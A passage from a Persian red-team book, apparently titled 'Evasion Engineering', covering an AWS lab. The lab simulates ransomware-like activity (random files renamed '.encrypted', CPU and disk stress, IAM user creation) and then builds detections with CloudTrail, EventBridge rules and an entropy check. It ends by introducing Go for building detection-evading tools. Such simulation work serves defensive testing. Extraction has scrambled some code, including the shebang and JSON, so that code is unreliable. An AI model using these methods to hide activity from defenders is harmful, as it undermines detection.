Identity, Governance, and Administration (IGA) 2025 می در. کنندمی استفاده ، Datadog الگوی یک 

-https://securitylabs.datadoghq.com/articles/tales-from-the-cloud) داد  گزارش توجه قابل حمله
trenches-the-attacker-doth-persist-too-much / )برای شدهدزدیده  هایاعتبارنامه از مهاجمان آن در که 

 سوساستفاده تقاضا اساس بر IAM هایاعتبارنامه تولید برای  AWS Lambda و Amazon API Gateway منابع ایجاد

  API Gateway بدون Lambda از فقط آزمایشگاه این ،AWS رایگان سطح هایمحدودیت در ماندن برای. کردند

 . کندمی استفاده

  و دیسک، سنگین CPU، I/O بالای مصرف مانند مرتبط، هایTTP 2-10 فهرست واقعی،  افزارباج استقرار جایبه

 .کندمی تکرار را رمزنگاری شبیه پسوندهای با هایفایل

/!#bin/bash 

log_file=″/var/log/simulation.log ″ 

while true; do 

timestamp=\$(date ″+%Y-%m-%d %H:%M:%S″) 
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echo ″\$timestamp Starting simulation cycle″ >> \$log_file 

cd /tmp 

echo ″\$timestamp Generating encrypted files″ >> \$log_file 

for i in {1..100}; do 

dd if=/dev/urandom of=″data_\${i}.txt″ bs=1K count=500 2>/dev/null 

mv ″data_\${i}.txt″ ″data_\${i}.encrypted ″ 

done 

echo ″\$timestamp Starting CPU stress test″ >> \$log_file 

stress-ng --cpu 1 --io 1 --timeout 180s 

echo ″\$timestamp Completed CPU stress test″ >> \$log_file 

echo ″\$timestamp Starting disk activity simulation″ >> \$log_file 

for i in {1..5}; do 

dd if=/dev/urandom of=/tmp/large_file_\${i} bs=1M count=20 2>/dev/null 

sync 

sleep 2 

done 

 #Leave in here if you want to DFIR it and optionally make a ransom note . 

echo ″\$timestamp Cleaning up simulation files″ >> \$log_file 

find /tmp -name ″*.encrypted″ -type f -delete 

rm -f /tmp/large_file *_ 

echo ″\$timestamp Simulation cycle complete, sleeping for 15 minutes″ >> \$log_file 

sleep 900 

done 

EOF 

 افزارباج فایل فعالیت و سیستم فشار سازیشبیه : 2-10 فهرست
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 فعالیت سازیشبیه و  تصادفی داده تولید برای stress-ng بسته و عاملسیستم استاندارد هایفرمان از اسکریپت این

 burstable محاسباتی اعتبارات سریع مصرف مانند نشانگرهایی باید مدافعان ،AWS  در. کندمی استفاده رمزنگاری
EC2، گزارش هایگروه CloudWatch ،را استقرار حال  در جدید زیرساخت و ناموفق، سلامت  هشدارهای جدید  

 .دهند تشخیص

 

 AWS CloudTrail اندازیراه 
 تولید شما Lambda تابع که IAM عملیات ضبط برای را CloudTrail باید سازی،شبیه  زیرساخت استقرار از قبل

  CreateUser رویدادهای شامل کند،می ثبت را API AWS هایفراخوانی تمام CloudTrail. کنید پیکربندی کرد خواهد

 .دهند تشخیص باید مدافعان که DeleteUser و

  این.  داردمی نگه ایمنطقه سطح در( ورودی 200,000 تا) رویداد تاریخچه روز CloudTrail 90 فرض،پیش طوربه

 در تا بکشد طول دقیقه 15 تا است ممکن منطقه، به بسته  و شوندمی  حذف روز 90 از پس خودکار طوربه  رویدادها

 را تاریخی  تغییرات خواهید می یا دهید انجام طولانی مدت یک در را آزمایشگاه دارید قصد اگر. شوند ظاهر کنسول

 .کنید ایجاد S3 در رویدادها دائمی ذخیره برای trail یک کنید، ردیابی

 کلیک Create Trail روی و بروید AWS Management Console در CloudTrail سرویس به شروع، برای

 ایجاد شما trail هایگزارش رمزگذاری برای  KMS کلید و S3 سبد یک که کنید، استفاده فرضپیش تنظیمات از. کنید

 (. ببینید را 2-10 شکل) کندمی

 

 AWS CloudTrail یک ایجاد:  2-10 شکل

 برای trail استقرار برای بعدی هایصفحه  برای فرضپیش هایگزینه از سپس و کنید وارد خود trail برای نام یک

  شوید مطمئن بنابراین نیست، رایگان S3  و KMS سازیذخیره که باشید داشته خاطر به. کنید استفاده خود منطقه و حساب

 . کنید استفاده بلندمدت در هاآن  از  ندارید  قصد اگر کنید حذف آزمایشگاه از پس را منابع این که



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
252 

 CloudFormation با استقرار خودکارسازی
 کامل قالب 3-10 فهرست. هستید سازیشبیه زیرساخت  استقرار آماده رویدادها، ضبط برای  CloudTrail پیکربندی با

YAML که دهدمی  نشان را  VPC، تابع Lambda،  نمونه EC2، هاینقش IAM، پشته یک در را پایش زیرساخت  و 

CloudFormation کندمی ایجاد واحد. 

 

AWSTemplateFormatVersion: ′2010-09-09′ 

Description: ′Security Simulation Infrastructure′ 

--snip -- 

LatestAmiId: 1 

Type: AWS::SSM::Parameter::Value<AWS::EC2::Image::Id > 

Default: ′/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64′ 

Description: ′SSM parameter for latest AL2023 x86_64 standard AMI ′ 

Resources : 

 #CloudWatch Log Groups 

SystemLogGroup : 

Type: AWS::Logs::LogGroup 

Properties: 

LogGroupName: /simulation/system 

RetentionInDays: 7 

Tags: 

- Key: rttd 

Value: simulation 

RansomwareLogGroup: 

Type: AWS::Logs::LogGroup 

Properties: 

LogGroupName: /simulation/ransomware 
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RetentionInDays: 7 

Tags: 

- Key: rttd 

Value: simulation 

 #Network resources 

VPC : 

Type: AWS::EC2::VPC 

Properties: 

CidrBlock: !Ref VpcCIDR 

EnableDnsHostnames: true 

EnableDnsSupport: true 

Tags: 

- Key: Name 

Value: !Sub ${AWS::StackName}-VPC 

- Key: rttd 

Value: simulation 

InternetGateway: 

Type: AWS::EC2::InternetGateway 

Properties: 

Tags: 

- Key: rttd 

Value: simulation 

AttachGateway: 

Type: AWS::EC2::VPCGatewayAttachment 

Properties: 

VpcId: !Ref VPC 
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InternetGatewayId: !Ref InternetGateway 

Subnet: 

Type: AWS::EC2::Subnet 

Properties: 

VpcId: !Ref VPC 

CidrBlock: !Ref SubnetCIDR 

MapPublicIpOnLaunch: true 

AvailabilityZone: !Select [ 0, !GetAZs ′′ ] 

Tags: 

- Key: Name 

Value: !Sub ${AWS::StackName}-Subnet 

- Key: rttd 

Value: simulation 

RouteTable: 

Type: AWS::EC2::RouteTable 

Properties: 

VpcId: !Ref VPC 

Tags: 

- Key: rttd 

Value: simulation 

Route : 

Type: AWS::EC2::Route 

DependsOn: AttachGateway 

Properties: 

RouteTableId: !Ref RouteTable 

DestinationCidrBlock: 0.0.0.0/0 
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GatewayId: !Ref InternetGateway 

SubnetRouteTableAssociation: 

Type: AWS::EC2::SubnetRouteTableAssociation 

Properties: 

SubnetId: !Ref Subnet 

RouteTableId: !Ref RouteTable 

SimulationSecurityGroup: 

Type: AWS::EC2::SecurityGroup 

Properties: 

GroupDescription: Security group for simulation instance 

VpcId: !Ref VPC 

SecurityGroupIngress: 

- IpProtocol: tcp 

FromPort: 443 

ToPort: 443 

CidrIp: !Ref VpcCIDR 

- IpProtocol: tcp 

FromPort: 443 

ToPort: 443 

CidrIp: 0.0.0.0/0 

SecurityGroupEgress : 

- IpProtocol: ″-1″ 

FromPort: -1 

ToPort: -1 

CidrIp: 0.0.0.0/0 

Tags: 
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- Key: rttd 

Value: simulation 

 #IAM resources 

SimulationLambdaRole: 

Type: AWS::IAM::Role 

Properties: 

AssumeRolePolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Principal: 

Service: lambda.amazonaws.com 

Action: sts:AssumeRole 

ManagedPolicyArns: 

- arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole 

Policies: 

- PolicyName: SimulationPolicy 

PolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Action : 

- iam:CreateUser 

- iam:DeleteUser 

- iam:CreateRole 

- iam:DeleteRole 
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Resource: !Sub arn:aws:iam::${AWS::AccountId}:user/simulation - *  

Tags: 

- Key: rttd 

Value: simulation 

EC2SimulationRole: 

Type: AWS::IAM::Role 

Properties: 

AssumeRolePolicyDocument: 

Version: ′2012-10-17′ 

Statement: 

- Effect: Allow 

Principal: 

Service: ec2.amazonaws.com 

Action: sts:AssumeRole 

ManagedPolicyArns: 

- arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore 

- arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy 

Tags: 

- Key: rttd 

Value: simulation 

EC2InstanceProfile: 

Type: AWS::IAM::InstanceProfile 

Properties: 

Path/ : 

Roles : 

- ! Ref EC2SimulationRole 
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 #Lambda function 

--snip -- 

 #EC2 instance 2 

SimulationInstance: 

Type: AWS::EC2::Instance 

DependsOn : 

- AttachGateway 

- EC2InstanceProfile 

- SystemLogGroup 

- RansomwareLogGroup 

Properties: 

InstanceType: t3.micro 

ImageId: !Ref LatestAmiId 

SubnetId: !Ref Subnet 

IamInstanceProfile: !Ref EC2InstanceProfile 

SecurityGroupIds : 

- ! Ref SimulationSecurityGroup 

BlockDeviceMappings : 

- DeviceName: /dev/xvda 

Ebs : 

VolumeSize: 20 

VolumeType: gp3 

DeleteOnTermination: true 

Encrypted: true 

UserData: 

Fn::Base64 | : 
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/!#bin/bash 

dnf update -y 

 #Install required packages including cronie . 

dnf install -y stress-ng amazon-cloudwatch-agent cronie 

cat > /opt/aws/amazon-cloudwatch-agent/bin/config.json << EOF 

{ 

″agent { :″ 

″run_as_user″: ″root ″ 

,} 

″logs{ :″ 

″logs_collected { :″ 

″files { :″ 

″collect_list [ :″ 

{ 

″file_path″: ″/var/log/messages,″ 

″log_group_name″: ″/simulation/system ,″ 

″log_stream_name″: ″{instance_id} ,″ 

″timestamp_format″: ″%b %d %H:%M:%S,″ 

″timezone″: ″UTC ″ 

,} 

{ 

″file_path″: ″/var/log/simulation.log ,″ 

″log_group_name″: ″/simulation/ransomware ,″ 

″log_stream_name″: ″{instance_id} ,″ 

″timestamp_format″: ″%Y-%m-%d %H:%M:%S,″ 

″timezone″: ″UTC ″ 
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} 

] 

} 

} 

,} 

″metrics { :″ 

″metrics_collected { :″ 

″mem { :″ 

″measurement″: [″mem_used_percent″], 

″metrics_collection_interval″: 60 

,} 

″cpu { :″ 

″measurement″: [″cpu_usage_idle″, ″cpu_usage_user″, ″cpu_usage_system″], 

″metrics_collection_interval″: 60 

,} 

″disk{ :″ 

″measurement″: [″disk_used_percent″], 

″metrics_collection_interval″: 60, 

″resources ]″*″[ :″ 

} 

} 

} 

} 

EOF 

/opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config 

-m ec2 -s -c file:/opt/aws/amazon-cloudwatch-agent/bin/config.json 
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systemctl enable amazon-cloudwatch-agent 

systemctl start amazon-cloudwatch-agent 

 #Create simulation script. 

cat > /usr/local/bin/ransomware_sim.sh << EOF 

/!#bin/bash 

log_file=″/var/log/simulation.log ″ 

while true; do 

timestamp=\$(date ″+%Y-%m-%d %H:%M:%S″) 

echo ″\$timestamp Starting simulation cycle″ >> \$log_file 

cd /tmp 

echo ″\$timestamp Generating encrypted files″ >> \$log_file 

for i in {1..100}; do 

dd if=/dev/urandom of=″data_\${i}.txt″ bs=1K count=500 2>/dev/null 

mv ″data_\${i}.txt″ ″data_\${i}.encrypted ″ 

done 

echo ″\$timestamp Starting CPU stress test″ >> \$log_file 

stress-ng --cpu 1 --io 1 --timeout 180s 

echo ″\$timestamp Completed CPU stress test″ >> \$log_file 

echo ″\$timestamp Starting disk activity simulation″ >> \$log_file 

for i in {1..5}; do 

dd if=/dev/urandom of=/tmp/large_file_\${i} bs=1M count=20 2>/dev/null 

sync 

sleep 2 

done 

echo ″\$timestamp Cleaning up simulation files″ >> \$log_file 

find /tmp -name ″*.encrypted″ -type f -delete 
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rm -f /tmp/large_file *_ 

echo ″\$timestamp Simulation cycle complete, sleeping for 15 minutes″ >> \$log_file 

sleep 900 

done 

EOF 

chmod 755 /usr/local/bin/ransomware_sim.sh 

 #Create copy in ssm-user home directory . 

mkdir -p /home/ssm-user 

cp /usr/local/bin/ransomware_sim.sh /home/ssm-user/ 

chown ssm-user:ssm-user /home/ssm-user/ransomware_sim.sh 

chmod 755 /home/ssm-user/ransomware_sim.sh 

 #Enable and start crond service. 

systemctl enable crond 

systemctl start crond 

cat > /etc/systemd/system/ransomware-sim.service << EOF 

[Unit] 

Description=Ransomware Simulation Service 

[Service] 3 

Type=simple 

ExecStart=/usr/local/bin/ransomware_sim.sh 

Restart=always 

RestartSec=60 

[Install] 

WantedBy=multi-user.target 

EOF 

systemctl daemon-reload 
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systemctl enable ransomware-sim 

systemctl start ransomware-sim 

Tags: 

- Key: Name 

Value: !Sub ${AWS::StackName}-SimulationInstance 

- Key: rttd 

Value: simulation 

--snip -- 

 CloudWatch پایش و  ،EC2 نمونه ،Lambda تابع ، VPC  استقرار: 3-10 فهرست

  تابع ،IAM هاینقش با همراه us-east-1 در اینترنت قابلیت با جدید VPC شبکه یک  CloudFormation قالب

 ایجاد Amazon Linux AMI (Amazon Machine Image) از استفاده با EC2 نمونه یک و ،Lambda سازیشبیه

  بررسی برای EventBridge یا Amazon CloudWatch درون هاییگزارش قطعات  این هم، با. 1 کرد خواهد

 .کرد خواهند تولید هاگزارش

 هنوز هاسازیپیاده از بسیاری و دارند، وجود هنوز API دو هر اما است، CloudWatch جانشین EventBridge توجه

 EventBridge توسط تواندمی و است تغییر بدون CloudTrail. کنندمی  اشاره اصلی سرویس گزارش ثبت و نام به

 . شود داده ارجاع

  اولین  در که کنید وارد خطیدرون bash اسکریپت یک دهدمی اجازه شما به user data Amazon EC2 ویژگی

 بتواند نمونه تا کندمی پیکربندی را CloudWatch عامل اسکریپت  این. 2 شودمی  اجرا root عنوانبه  اندازیراه

  را افزارباج سازشبیه خودکار طوربه  کرد، تمام را اندازیراه سیستم که هنگامی. کند ارسال  حساب به را لازم هایگزارش

 . کنند CloudWatch Logs کردن پر به  شروع نشانگرها تا 3 کندمی  شروع cron کار یک روی

 . کنید آپلود CloudFormation به را قالب این باید آزمایشی، زیرساخت استقرار برای بعد،

 شما سازیشبیه پشته  اجرای و اندازیراه 
  هایدستورالعمل. کنید وارد جستجو نوار در را cloudformation و شوید وارد AWS Management Console به

 :کنید دنبال زیر صورتبه  YAML فایل آپلود برای را منو

 . کنید کلیک کنسول راست سمت بالا نزدیک Create Stack روی. 1

 .کنید  کلیک  With New Resources (Standard) روی. 2

 .کنید انتخاب را Specify Template، Upload a Template File زیر. 3

 .کنید انتخاب را rttd-testcase-sim-1.1.yml و کنید کلیک Choose File روی. 4

 .کنید کلیک Next روی و کنید  رها خود فرضپیش تنظیمات در را ماندهباقی  هایگزینه. 5
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 .دهید تغییر را VPC زیرشبکه هایCIDR اختیاری صورتبه و کنید وارد  خود پشته برای نام یک. 6

 . کنید تأیید  CloudFormation از  را IAM هایقابلیت هشدار و کنید کلیک Next  روی. 7

 . شود آغاز  استقرار تا کنید کلیک Submit روی. 8

- 10 شکل در که طورهمان  ببینید، را استقرار وضعیت باید. کنید مستقر را پشته خود، نظر مورد پارامترهای تنظیم از پس

 . است شده داده نشان 3

 

 AWS CloudFormation پشته استقرار:  3-10 شکل

  از . شود آغاز  IAM کاربر ایجاد سازیشبیه تا کنید اندازیراه را AWS Lambda تابع شد، مستقر پشته که هنگامی

AWS Management Console سرویس به Lambda را 4-10 شکل) کنید پیدا را خود مستقرشده تابع و بروید  

 (. ببینید

 

 مستقرشده  Lambda تابع مشاهده: 4-10 شکل
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 به تا کنید کلیک Code روی. دید خواهید تابع نام زیر تب چندین کنید؛ اسکرول صفحه مرکز نزدیک منو نوار به پایین به

  Deploy  روی. دید خواهید Deploy و Test برچسب با آبی هایدکمه چپ، سمت نزدیک. بروید کد ویرایشگر صفحه

 طوربه  را آن باید CloudFormation. است شده مستقر درستی به Lambda تابع که شود حاصل اطمینان تا کنید کلیک

 .بود لازم آزمایش از  قبل Deploy روی کلیک که ایمدیده  را مواردی ما اما باشد، کرده مستقر خودکار

  تنظیمات با همراه بگذارید، شدهانتخاب را Create New Event فرضپیش عمل. بروید منو نوار در Test تب به بعد،

 (. ببینید را 5-10 شکل) کنید کلیک Test سپس و Save روی. JSON رویداد نوع و آن فرضپیش

 

 AWS Lambda آزمایشی رویداد هایگزینه : 5-10 شکل

 صورتبه  را خود آزمایشی داده این کند؛نمی استفاده پردازش برای آن از شما Lambda  تابع چون نیست مهم رویداد بار

 HTTP پاسخ یک باید و ،(ببینید را  6-10 شکل) کندمی اجرا  را سازیشبیه تابع، کردن فعال سادگیبه. کندمی  تولید داخلی
200 OK کنید دریافت اتمام از پس . 

 

 Lambda تابع آمیزموفقیت سازیفعال :  6-10 شکل

 Event History زیر تولیدشده IAM رویدادهای برای Amazon CloudTrail به بتوانید باید بود، موفق آزمایش اگر

 . است شده داده نشان 7-10 شکل در که طورهمان بروید،
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 Lambda آزمایش آمیزموفقیت اجرای از CloudTrail رویدادهای: 7-10 شکل

  دو باید. بروید AWS Management Console در CloudWatch Logs به افزار،باج سازیشبیه تأیید برای بعد،

 سازیشبیه اسکریپت خروجی و( simulation/system)/ عاملسیستم سطح هایگزارش: ببینید گزارش گروه

/(simulation/ransomware .)گزارش گروه /simulation/system   انتظار این بود؛ خواهد خالی احتمالا  

 زمانی فقط اما است شده پیکربندی var/log/messages/ از سیستم سطح هایگزارش ضبط  برای این. رودمی

  باید simulation/ransomware/ گزارش گروه. کند تولید را مرتبط رویدادهای سیستم که شودمی  شامل را هاورودی

 .است  شده داده  نشان 8-10 شکل  در که طورهمان  شود، شامل را سازیشبیه اسکریپت خروجی

 

 CloudWatch افزارباج سازیشبیه گزارش هایگروه : 8-10 شکل

 به هنوز هاگزارش یا باشد، خورده شکست شروع در  سرویس است ممکن بینید،نمی را تولیدشده هایگزارش  این اگر

 جستجو AWS Management Console در را EC2، EC2 کنسول از یابیعیب برای. باشند نشده نوشته سرویس

 SSM جلسه یک تا کنید کلیک  Connect روی Session Manager تب از و بروید، خود اجرا حال در نمونه به کنید،

 (.ببینید را 9-10 شکل) شود شروع



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
267 

 

 EC2 نمونه Session Manager اتصال  منوی: 9-10 شکل

 مستقیما   را آن و کنید پیدا ssm-user دایرکتوری  در محلی صورتبه  را ransomware_sim.sh  اسکریپت توانیدمی

 :کنید اجرا زیر صورتبه

sh-5.2$ cd ~/ && pwd && ls 

/home/ssm-user 

ransomware_sim.sh 

sh-5.2$ sudo ./ransomware_sim.sh 

stress-ng: info: [25959] setting to a 180 second (3 mins, 0.00 secs) run per stressor 

stress-ng: info: [25959] dispatching hogs: 1 cpu, 1 io 

stress-ng: info: [25961] io: this is a legacy I/O sync stressor, consider using iomix instead 

stress-ng: info: [25959] successful run completed in 180.03s (3 mins, 0.03 secs) 

  خواهید بررسی سازش نشانگرهای برای را هاگزارش ،EC2 نمونه توسط افزارباج سازشبیه اجرای  از اطمینان از پس

 .کرد

 

 CloudWatch  و   CloudTrail رویدادهای از تشخیص   قواعد ساختن
 تولید برای CloudWatch یا Amazon EventBridge سرویس از استفاده با تشخیص قواعد توانندمی مدافعان

  پر را دیگر  ابزار یا SIEM  یک توانندمی  قواعد این. کنند ایجاد  CloudWatch و CloudTrail رویدادهای  از هشدارها

  هنوز Cloud Security Posture Management (CSPM) حلراه یک که زمانی را تشخیص هایقابلیت و کنند،

 .کنند فراهم است نشده سازیپیاده

 :کنند تعریف را زیر EventBridge قاعده توانندمی تشخیص مهندسان جدید، کاربر ایجاد پایش برای



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
268 

{ 

″source″: [″aws.iam″], 

″detail-type″: [″AWS API Call via CloudTrail″] , 

″detail{ :″ 

″eventSource″: [″iam.amazonaws.com″] , 

″eventName″: [″CreateUser″] 

} 

} 

  زیر و بروید EventBridge سرویس به ،AWS Management Console از استفاده با قاعده این کردن  اضافه برای

Get Started، EventBridge Rule with Event Pattern روی. کنید انتخاب را Create Rule کنید کلیک .

Visual Rule Builder Opt-in روی و بدهید نام یک خود قاعده به  سپس کنید، خاموش راست سمت بالا در را Next 

  تب از را AWS Service Events کنید، فعال دوباره را  Visual Rule Builder Opt-in صفحه، این در. کنید کلیک

Events عبارت برای و کنید، انتخاب چپ سمت در IAM کنار فلش روی. کنید فیلتر IAM (ورودی اولین )کنید، کلیک 

  را  10-10 شکل) کنید رها و  بکشید Triggering Events جعبه به را AWS API Call Via CloudTrail گزینه سپس

 (. ببینید

 

 مختلف  مقاصد به API بر متمرکز رویدادهای هشداردهی برای EventBridge  قواعد ایجاد: 10-10 شکل

  ایجاد تازه که  JSON قاعده توانیدمی  که شد خواهید هدایت ایصفحه به و کنید،  کلیک Event Pattern (Filter) روی

  جریان یک یا هشداردهی برای  SNS موضوع یک عنوانبه را هدف توانیدمی سپس. کنید گذاریجای  آن  در را کردید

 . کنید تنظیم دیگر CloudWatch گزارش

  پایدار بالای مصرف روی که کنند ایجاد CloudWatch هشدار یک توانندمی تشخیص مهندسان افزار،باج تشخیص برای

CPU قاعده. شود فعال EventBridge JSON وضعیت به هشدار آن وقتی دهدمی تشخیص زیر ALARM وارد  

 : کندمی پایش دقیقه پنج مدت به  درصد 90 از بیش CPU مصرف برای و شود،می
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{ 

″version″: ″0″, 

″detail-type″: ″CloudWatch Alarm State Change,″ 

″source″: ″aws.cloudwatch ,″ 

″detail{ :″ 

1 ″alarmName″: ″EC2HighCPUUtilization,″ 

″configuration { :″ 

″description″: ″EC2 CPU utilization exceeded 90% for 5 minutes ,″ 

″metrics {[ :″ 

″id″: ″cpu_metric ,″ 

″metricStat { :″ 

″metric { :″ 

″namespace″: ″AWS/EC2″, 

″name″: ″CPUUtilization,″ 

″dimensions{ :″ 

″InstanceId″: ″${instance-id} ″ 

} 

,} 

″period″: 300 , 

″stat″: ″Average ″ 

,} 

″returnData″: true 

,]} 

″evaluationPeriods″: 1 , 

″threshold″: 90.0 , 

″comparisonOperator″: ″GreaterThanThreshold″ 
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,} 

″state{ :″ 

″value″: ″ALARM″ 

} 

} 

} 

 نیز را دیگر معیارهای از بسیاری توانیدمی ،1 کندمی پایش زمان  طول در را CPU  مصرف مثال این که  حالی در

 است، ترمهم آنچه. سیستمفایل غیرمعمول الگوهای و ،canary هایفایل در تغییرات دیسک، بالای I/O مانند کنید، ردیابی

( SRE) سایت اطمینان قابلیت مهندسی ابزارهای. است تشخیص تریندقیق برای منبع به نزدیک ممکن حد تا معیارها پایش

 .کنند کمک هاناهنجاری شناسایی و معیار چندین همبستگی در شما به توانندمی Splunk و Datadog مانند

 یک Varonis ،2025 اکتبر در. است شده ثابت مؤثر واقعی  دنیای حملات تشخیص برای CPU پایدار بالای مصرف

 کرد شناسایی CPU جهش پایش طریق از را RansomHub افزارباج حمله

(https://www.bleepingcomputer.com/news/security/how-a-cpu-spike-led-to-uncovering-
a-ransomhub-ransomware-attack/ .) 

  در را Alarms منوی. بروید CloudWatch به ،AWS Management Console در  قاعده نوع این ایجاد برای

 کنید کلیک Browse روی. کنید  کلیک Create Alarm روی و کنید، انتخاب را All Alarms دهید، گسترش چپ سمت

 معیار عنوانبه را CPUUtilization کنید، انتخاب را CWAgent. دهید گسترش را Custom Namespaces و

  قالب(. ببینید را  11-10 شکل) کنید تنظیم زمان  طول  در را آستانه پارامترهای و  کنید، انتخاب خود نمونه برای

CloudFormation عامل  از کردید مستقر که CloudWatch نمونه روی شدهنصب EC2 کندمی استفاده . 

 

 AWS CloudWatch هشدارهای با زمان طول در معیارها ردیابی: 11-10 شکل
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 را EC2 فشار تست  هایاسکریپت و سازیشبیه Lambda و کنید تنظیم را قواعد  توانیدمی آزمایشگاه، اهداف  برای

 .شوند تولید جدید  رویدادهای تا کنید اجرا دوباره

 شدهرمزگذاری هایفایل  برای آنتروپی بر مبتنی تشخیص توانندمی همچنین مدافعان ،CloudWatch معیارهای از فراتر

 هایفایل  از استفاده با را تکنیک این توانیدمی نیست، خودکار سازیشبیه از بخشی که  حالی در. کنند سازیپیاده را

canary در. کنید آزمایش AWS Management Console، Cloud Shell کنید اجرا را زیر موارد و کنید باز را: 

 $ ~pwd 

/home/cloudshell-user 

 $ ~echo ″foobar″ > /tmp/honey.txt 

 $ ~python3 -c ″import math; from collections import Counter; 
data=open(′/tmp/honey.txt′,′rb′) 

.read(); entropy=0 if len(data)==0 else -sum(count/len(data)*math.log2(count/len(data )) 

for count in Counter(data).values()); print(′Entropy: {:.2f} - ALERT: POSSIBLE ENCRYPTION ′ 

.format(entropy) if entropy > 7.0 else ′Entropy: {:.2f} - OK′.format(entropy) ″) 

Entropy: 2.52 - OK 

 $ ~openssl rand 256 > /tmp/honey.txt 

$ ~ 

python3 -c ″import math; from collections import Counter; 
data=open(′/tmp/honey.txt′,′rb′) \ 

.read(); entropy=0 if len(data)==0 else -sum(count/len(data)*math.log2(count/len(data ))\  

for count in Counter(data).values()); print(′Entropy: {:.2f} - ALERT: POSSIBLE   \  

ENCRYPTION′.format(entropy) if entropy > 7.0 else ′Entropy: {:.2f} - OK′.format(entropy) ″″) 

Entropy: 7.20 - ALERT: POSSIBLE ENCRYPTION 

$ ~ 

  استفاده شانون آنتروپی الگوریتم  برابر در بودن  تصادفی گیریاندازه   برای داخلی ریاضی توابع از پایتون خطییک این

  اعمال  برای. هستند شدهرمزگذاری هایداده معمول بالای بودن تصادفی دهندهنشان 7.0 بالای آنتروپی با هاییفایل. کندمی

 الگوی روی شدن  فعال برای CloudWatch هشدار یک و کنید وارد cron کار یک عنوانبه را اسکریپت حل،راه  این

«ALERT: POSSIBLE ENCRYPTION »هایگزارش  در  /var/simulation یا /var/ransomware خود  

 .کنید پیکربندی
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 را هامثال این توانندمی  هاسازمان. هستند سازیشبیه سناریوی دو هر برای پایه خط پایش از بخشی تشخیص قواعد  این

 .دهند تطبیق  رسانیاطلاع هایسیستم یا خود  خاص SIEM هایپلتفرم برای

 خلاصه 
 برای مخرب هایفعالیت  سازیشبیه با engagement بار سوزاندن بدون شدهکنترل افشاهای از استفاده نحوه فصل  این

 میزبان پایانی نقطه و ابری بومی رویداد دو  هر برای AWS از شما. داد پوشش را مدافعان تشخیصی هایقابلیت آزمایش

 شما به  CloudFormation از استفاده. کنند فعال امنیتی ابزارهای  بیشتر برای را پایه هایتشخیص باید که کردید استفاده

 حساب در زیرساخت رانش  پایش برای دیگر استفاده مورد  یک و بازگردانید، و مستقر راحتیبه را تغییرات دهدمی اجازه

AWS قواعد توانندمی  مدافعان چگونه که دیدید نهایت،  در. کندمی  فراهم EventBridge سایر که هشدارهایی ایجاد  برای  

 .کنند تعریف کنندمی  تغذیه را هاآن زرادخانه  در امنیتی ابزارهای
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 عملیاتی از اطمینان برای  شما اصلی ابزارهای پیکربندی  قرمز، تیم engagement یک الزامات از بسیاری میان در

 نهایی مشتری که این  به بردن پی و محدوده تعیین تماس به پیوستن قدربه  را آمادگی از شما درک چیز هیچ. هاستآن  بودن

 به تواندمی  خودتان بارهای و ابزارها توسعه خوشبختانه،. کشدنمی چالش به است همپوشان دفاعی هایقابلیت از قلعه یک

 . کند  کمک موفق کمپین یک داشتن برای شما شانس تقویت

  engagement نیازهای تنها نه گرفتن نظر در نیازمند موجود ابزارهای  اصلاح یا ابتدا از توسعه درباره گیریتصمیم

 باقی مؤثر زمانی تا فقط معمولا   موجود ابزارهای اصلاحات حال،  این با. است آینده موارد دوام قابلیت بلکه شما فعلی

  و تشخیص مهندسی هایتیم اخیر هایسال  در نتیجه، در. کنند فرار امضا بر مبتنی تشخیص موتورهای از که مانندمی

 دهید، تطبیق اساس این بر را خود رویکرد باید شما. اندگذاشته رفتار بر  مبتنی هایتشخیص بر بیشتری تأکید فروشندگان

 .کمپین یک در واحد عطف نقطه یک روی engagement  ارزشمند زمان  دادن هدر بدون

 توسعه رویکردهای از و درخشد،می شدهانتخاب و دقیق ریزیبرنامه با فرار  هایاستراتژی از ایمجموعه که اینجاست

  ابزارهای چگونه گرفت خواهید یاد کتاب، این سراسر در. کندمی استفاده هاLOLBin  به توسل بدون معمول افزارنرم

 شما به  پیوست این. مانندمی باقی نگهداری قابل و کارآمد  که حالی در کنندمی فرار  مدرن تشخیص از که بسازید سفارشی

  زبان با قبل از اگر. کنید اندازیراه کد هایمثال آمیزموفقیت اجرای و استقرار برای را فنی نیازهایپیش کندمی کمک

 راحت هستید، آشنا Amazon Web Services (AWS)  و ،Go، Google Cloud Platform (GCP) نویسیبرنامه

 .کنید رد را آن باشید

 Go اندازیراه و   مبانی
  شامل است، دلیل چندین به جذاب انتخاب یک این. کنیممی استفاده کتاب هایآزمایشگاه بیشتر برای Go از ما

 و Python هایپیشینه از آمدن  با زمان،  همان در. شدن کامپایل یا تفسیرشده زبان یک مانند اجرا  برای آن پذیریانعطاف

C، کامپایلر و نحو ما Go یابیممی هازبان آن  از ترسختگیرانه حدودی تا را. 

Go کار این انجام برای نحو چندین از و کنید، مشخص استنتاج یا صریح  اعلان طریق از  را داده انواع که دارد نیاز  

 .کندمی مقایسه را Go و Python در متغیر اعلان A-1 فهرست. کندمی پشتیبانی

 #Python version 

seconds = 25 

sentence = ″this is a string ″ 

// Go version 
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var seconds int = 25 // Explicit type declaration 

sentence := ″this is a string″ // Type inference 

 Python مقابل در  Go در متغیر یک اعلان : A-1 فهرست

 : دارد را زیر هایمحدودیت رویکرد  آن حال، این با. کنید استفاده متغیر هر برای نوع استنتاج از شوید وسوسه است ممکن

 .شود استفاده بلوک، یا تابع یک مانند محدوده، همان درون تواندمی فقط •

 .شود استفاده موجود متغیرهای به مقادیر مجدد تخصیص برای تواندنمی •

 .شود استفاده متقابل شدهارجاع متغیرهای برای بسته سطح در تواندنمی •

 .شود استفاده متغیرها بندیگروه هنگام تواندنمی •

  منابع یا دیگر نویسندگان کدهایقطعه  آزمایش حال  در اگر ویژه به کنید، استفاده نوع صریح  اعلان از ،Go با شروع هنگام

 .هستید خارجی

